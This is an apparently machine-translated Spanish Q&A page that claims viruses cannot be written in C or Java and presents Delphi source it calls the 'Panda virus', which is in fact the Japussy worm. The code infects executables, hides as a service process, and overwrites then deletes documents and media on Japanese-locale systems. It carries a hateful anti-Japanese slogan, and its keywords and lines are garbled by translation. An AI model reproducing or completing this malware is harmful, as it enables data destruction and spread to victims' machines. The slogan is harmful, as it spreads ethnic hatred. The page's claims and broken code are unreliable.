Red de conocimientos turísticos - Conocimientos sobre calendario chino - ¿Qué lenguaje informático puede escribir virus?

¿Qué lenguaje informático puede escribir virus?

Escribir virus

No usar JAVA

El lenguaje C no es posible

Usar lenguaje dephi

El siguiente es el código fuente del virus panda escrito en lenguaje dephi:

Con comentarios

Código fuente del virus Panda

El programa Japussy utiliza

Windows, SysUtils, Classes; , Gráficos, ShellAPI{ , Registro};

Constante

HeaderSize = 82432; //Tamaño del virus

IconOffset = EB8; del archivo PE

//Tamaño compilado en mi Delphi 5 SP1, otras versiones de Delphi pueden ser diferentes

//Buscando la cadena hexadecimal 2800000020 encontrará el desplazamiento del archivo principal icon

{

HeaderSize = 38912; //Tamaño del cuerpo del virus comprimido Upx

IconOffset = BC //Desplazamiento del icono principal del archivo PE comprimido Upx

//Upx 1.exe

}

IconSize = E8 // El tamaño del icono principal del archivo PE es 744 bytes

IconTail = IconOffset IconSize; / /Cola del icono principal del archivo PE

ID = 444444; //Marca de infección

//No hay código útil para escribir

Palabra clave = 'Mata si es necesario. Una carrera, debe ser Yamato.

'

'¡Si hay que destruir un país, ese debe ser Japón! '

'*** W32.Japussy.Worm.A ***';

{$ R *.RES}

función RegisterServiceProcess(dwProcessID, dwType: Integer):

stDCall; external 'Kernel32.dll'; //declaración de función

var

TmpFile:

Si: STARTUPINFO ;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; // Indicador del sistema operativo de la versión japonesa

{Determinar si es la versión de Windows 9.X}

función IsWin9x: booleano

var

Ver: dwOSVersionInfoSize := SizeOf(TOSVersionInfo

si no GetVersionEx(Ver) entonces

Salir;

si (Ver. dwOSVersionInfoSize = SizeOf(TOSVersionInfo))dwPlatformID = VER_PLATFORM_ WIN32_WINDOWS) entonces //Win9x

Resultado:= Verdadero;

p>

end;

{Copiar entre secuencias}

Procedimiento CopyStream(Src: TStream; sStartPos: Integer.Dst: Dst: TStream;

dStartPos: Entero; Contar: Entero

var

sCurPos, dCurPos: Entero

comenzar

sCurPos:= Src.Seek(dCurPos, 0);

end

{Extraiga el archivo host del archivo PE infectado para su uso}

Proceso ExtractFile (Nombre de archivo: cadena);

var

sStream, dStream: TFileStream;

comenzar

intentar

sStream:= TFileStream.Create(ParamStr(0), fmOpenRead o fmShareDenyNone);

prueba

dStream:= TFileStream.Create(FileName, fmCreate);

try

sStream.Seek(.lpReserved2:= nil;

end;

{Enviar correo electrónico envenenado}

Procedimiento almacenado Enviar correo

comenzar

finalizar

{ InfectOne;

Archivo(InfectOneFile(InfectOneFile)) procedimiento almacenado InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream

IcoStream, DstStream: TMemoryStream.

iID: LongInt;

aIcon: TIcon;

Infectado, IsPE: Booleano

i: p> intento // Error; entonces se está utilizando el archivo, salga

si CompareText(FileName, 'JAPUSSY.EXE') = 0 entonces //Es usted mismo, entonces no está infectado

Salir;

Infectado:= Falso;

IsPE:= Falso;

SrcStream:= TFileStream.Create(FileName, fmOpenRead);

intentar

for i := 0 a 8 hacer //verificar el encabezado del archivo PE

comenzar

SrcStream .Seek(i, soFromBeginning);

SrcStream Leer. (Buf, 2);

si (Buf[0] = #80) y (Buf[1] = #69) entonces //marca PE

comienza

IsPE := True; //Es un archivo PE

Break;

end

end

SrcStream. Seek(-4, soFromEnd); //Verificar indicador de infección

SrcStream.Read(iID, 4);

If (iID = ID) o (SrcStream.Size lt; 10240 ) entonces //los archivos menores de 10240 no están infectados

Infectado:= True;

finalmente

SrcStream.Free;

fin ;

si está infectado o (no es IsPE), entonces //Salga si está infectado o no es un archivo PE

Salir;

IcoStream:= TMemoryStream.Create

DstStream:= TMemoryStream.Create;

SrcStream.Create;

intente

aIcon:= TIcon.ExtractIcon(HInstance, PChar ( FileName), 0);

aIcon.SaveToStream(IcoStream);

finalmente

aIcon.Free;

fin;< / p>

> SrcStream:= TFileStream.Create(FileName, fmOpenRead);

//Encabezados

HdrStream:= TFileStream.Create(ParamStr(0), fmOpenRead o fmShareDenyNone);

prueba

//escribe los datos antes del icono principal del cuerpo del virus

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//Escribe el icono principal del programa actual

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//Escribe el icono principal del virus y el cola del virus Datos entre

CopyStream(HdrStream, IconTail, DstStream.IconTail, HeaderSize - IconTail);

//escribir en el programa host

CopyStream (SrcStream , 0, DstStream, HeaderSize, SrcStream.Size);

//escribe el marcador infectado

DstStream.Free;

IcoStream .Free ;

DstStream.SaveToFile(FileName); //reemplazar el archivo host

DstStream.Free;

fin

excepto; ;

end;

end;

{Eliminar el archivo de destino después de escribir código inútil}

Procedimiento SmashFile(FileName: string) ;

var

FileHandle.Integer;

i, Tamaño, Masa, Máx., Len: Entero

comenzar

intentar

SetFileAttributes(PChar(FileName), 0); // Eliminar atributos de solo lectura

FileHandle:= FileOpen(FileName, fmOpenWrite);

intentar

Tamaño := GetFileSize(FileHandle, nil); // Obtener el tamaño del archivo

i := 0; Aleatorizar;

Max:= Random(15); //escribe un número aleatorio de veces en el código inútil

si Max lt 5 entonces

Max; := 5;

Masa := Tamaño div Max //El tamaño de cada bloque de intervalo

Len := Le

ngth(Catchword);

mientras que Max hago

comenzar

FileSeek(FileHandle, i * Mass, 0); >

//¡escribe código inútil para destruir el archivo por completo!

FileWrite(FileHandle, Catchword, Len

Inc(i

Fin

Finalmente

<); p> FileClose(FileHandle); //Cerrar el archivo

Fin;

DeleteFile(PChar(FileName)); //eliminar

excepto

end;

end;

{Obtener la lista de unidades grabables}

función GetDrives: string

var

Tipo de disco: Palabra;

D: Char;

Cadena

i: Entero

comenzar p>

for i := 0 a 25 do // Recorrer 26 letras

comenzar

D := Chr(i 65

Str:= D ':\';

DiskType:= GetDriveType(PChar(Str));

//Obtener el disco local y de red

si (DiskType = DRIVE_FIXED) o (DiskType = DRIVE_REMOTE) entonces

Resultado := Resultado D

fin

fin; ;

{Atravesar directorios, infectar y destruir archivos}

Procedimiento LoopFiles(Path.Mask: string

var

i); , Recuento: Entero;

Fn, Ext: cadena;

SubDir: TStrings

SearchRec: TSearchRec

Msg.TMsg; ;

función IsValidDir(SearchRec: TSearchRec): Entero;

comenzar

if (SearchRec.Attr lt; gt; 16) y (SearchRec.Name lt . ') entonces

Resultado:= 0 //no es un directorio

else if (SearchRec.Attr = 16) y (SearchRec.Name lt; gt; '.') y

(SearchRec.Name lt; gt; '.') entonces

Resultado:= 1 //no la raíz

else Resultado:= 2; / es el

raíz

fin;

comenzar

si (FindFirst(Path Mask, faAnyFile, SearchRec) = 0) entonces

comenzar

repetir

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //Ajusta la cola de mensajes para evitar sospechas

si IsValidDir(SearchRec) = 0 entonces

comenzar

Fn := Ruta SearchRec.Name

Ext := UpperCase(ExtractFileExt(Fn)); Ext = '.EXE') o (Ext = '.SCR') luego

comenzar<

InfectOneFile(Fn); //infectar ejecutable

finalizar

si no (Ext = '.HTM') o (Ext = '.HTML') o (Ext = '.ASP') entonces

comenzar

//infectar archivos HTML y ASP, escribirles virus codificados en Base64

//Infectar a todos los usuarios que navegan por esta página

//¿Quién quiere hacerlo?

end

else if Ext = '.WAB' entonces //archivo de libreta de direcciones de Outlook

start

//obtener dirección de correo electrónico de Outlook

fin

si no, si Ext = '.ADC' entonces //archivo de autocompletar de dirección de Foxmail

comienzo

Esta es la primera vez que se escribe un virus en una dirección de Foxmail.

Archivo de autocompletar de dirección de Foxmail

Inicio

// Obtener la dirección de correo electrónico de Foxmail

Fin

else if Ext = 'IND' entonces // Archivo de libreta de direcciones de Foxmail

Inicio

// Obtener dirección de correo electrónico de Foxmail

Fin

else

Inicio

si IsJap entonces //Es un sistema operativo bonobo

comienza

si (Ext = '.DOC') o (Ext = '.XLS' ) o ( Ext = '.MDB') o

(Ext = '.MP3') o (Ext = '.RM') o (Ext = '.RA') o

( Ext = '.WMA') o (Ext = '.ZIP') o (Ext = '.RAR') o

(Ext = '.(Ext = '.MPEG') o (Ext = '.ASF') o (Ext = '.JPG') o

(Ext = '.JPEG') o (Ext = '.GIF') o (Ext = '.SWF' ) o

(Ext = '.PDF') o (Ext = '.CHM') o (Ext = '.AVI') luego

SmashFile (Fn); // Destruir archivo

fin;

fin;

fin; > FindClose(SearchRec);

SubDir := TStringList.Create

if (FindFirst(Path '*. *', faDirectory, SearchRec) = 0) entonces

comenzar

repetir

si IsValidDir(SearchRec) = 1 entonces

SubDir.Add(SearchRec.Name);

Hasta (FindNext(SearchRec) lt; gt; 0);

fin

FindClose(SearchRec

Conteo := SubDir.Count - 1;

for i := 0 para contar do

LoopFiles(Path SubDir.Strings '\', Mask

FreeAndNil(SubDir

end;

{Recorrer todos los archivos en el disco}

Procesar InfectFiles

var

DriverList : string

i, Len: Entero;

comenzar

si GetACP = 932 entonces //SO japonés

IsJap := True; : cadena;

fin;

{ Recorrer todos los archivos en el disco

Pieza }

Proceso // ¡Vete al infierno!

DriverList := GetDrives; // Obtener la lista de discos grabables

Len := Longitud(DriverList

while True do //bucle muerto

p>

comenzar

for i := Len downto 1 do //Recorre cada unidad de disco

LoopFiles(DriverList ':\', '*.*'); /infected

SendMail; //Enviar correos electrónicos venenosos

Sleep(1000 * 60 * 5); //Dormir durante 5 minutos

end;

p>

finalizar

{ El programa principal comienza}

comenzar

si IsWin9x entonces //IsWin9x

RegisterServiceProcess( GetCurrentProcessID, 1) //Registrarse como proceso de servicio

else //WinNT

comenzar

//Los subprocesos remotos están asignados al proceso del Administrador de recursos

//

end;

//Si es el cuerpo del virus original

if CompareText(ExtractFileName( ParamStr (0)), 'Japussy.exe')=0, entonces

InfectFiles // infecta y envía correo electrónico

De lo contrario // ha parasitado el programa host y ha comenzado a trabajar

p>

comenzar

TmpFile:= ParamStr(0); // Crea un archivo temporal

Eliminar(TmpFile, Longitud(TmpFile) - 4, 4); p>

TmpFile:= TmpFile #32 '.exe'; //Archivo host real, un espacio más

ExtractFile(TmpFile); //Sepárelo

FillStartupInfo (Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, '.', Si, Pi ) ; //crea un nuevo proceso para ejecutar

InfectFiles; //infecta y envía un correo electrónico

end;

end.

CMD comando apagado -a //cancelar la cuenta regresiva de apagado de la computadora después de un virus.

Aprender es algo bueno, pero no hacer cosas malas.

El autor del virus Panda Burner ha sido castigado por la ley

Así que no hagas nada ilegal.

Así que no hagas nada ilegal.